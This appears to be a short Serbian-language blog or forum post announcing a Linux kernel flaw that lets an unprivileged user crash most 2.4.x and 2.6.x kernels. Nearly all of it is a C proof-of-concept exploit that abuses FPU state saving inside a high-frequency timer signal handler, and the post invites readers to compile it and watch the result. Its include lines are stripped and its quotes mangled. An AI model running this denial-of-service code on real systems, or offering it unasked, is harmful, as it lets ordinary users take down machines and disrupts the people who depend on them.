Pronadjen je propust u kernelu koji omogucava da se Linux “zakuca”. Radi na vecinii 2.4.x i 2.6.x kernela, a moguce je oboriti “pingvina” kao obican user…
Patch bi vec trebalo da postoji.
Za vise informacijaOvo je “magican” C kod koji kuca kernel. Mozete iskompajlirati ovo gcc-om i videti sta se desava
#include
#include
#include
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ (“fsave %0
” : : “m”(fpubuf));
write(2, “*”, 1);
__asm__ __volatile__ (“frstor %0
” : : “m”(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, “.”, 1);
return 0;
}